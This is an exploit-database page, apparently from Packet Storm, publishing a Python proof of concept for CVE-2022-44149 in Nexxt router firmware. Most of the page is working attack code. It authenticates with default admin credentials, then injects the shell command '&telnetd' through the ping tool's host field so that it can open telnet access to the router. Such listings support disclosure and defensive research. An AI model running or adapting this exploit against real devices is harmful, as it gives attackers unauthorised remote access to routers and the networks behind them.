Nexxt Router Firmware 42.103.1.5095 Remote Code Execution ≈ Packet Storm

Roger Wilco Exploits 4 janvier 2023 Affichages : 352

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

Nexxt Router Firmware 42.103.1.5095 Remote Code Execution^[6]: Authored by Yerodin Richards ^[7]; Nexxt Router Firmware version 42.103.1.5095 authenticated remote code execution exploit that enables telnetd.; advisories | CVE-2022-44149 ^[8]; SHA-256 | f6b93f8ca64ede0f2262b8069bea1bb4e92c90797cdd7f00227408d3d9a7adb8; Download ^[9] | Favorite ^[10] | View ^[11]

        # Exploit Title: Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated)
# Date: 19/10/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://www.nexxtsolutions.com/
# Version: 42.103.1.5095
# Tested on: ARN02304U8
# CVE : CVE-2022-44149
import requests
import base64
router_host = "http://192.168.1.1"
username = "admin"
password = "admin"
def main():
send_payload("&telnetd")
print("connect to router using: `telnet "+router_host.split("//")[1]+ "` using known credentials")
pass
def gen_header(u, p):
return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")
def send_payload(payload):
url = router_host+"/goform/sysTools"
headers = {"Authorization": "Basic {}".format(gen_header(username, password))}
params = {"tool":"0", "pingCount":"4", "host": payload, "sumbit": "OK"}
requests.post(url, headers=headers, data=params)
if __name__ == '__main__':
main()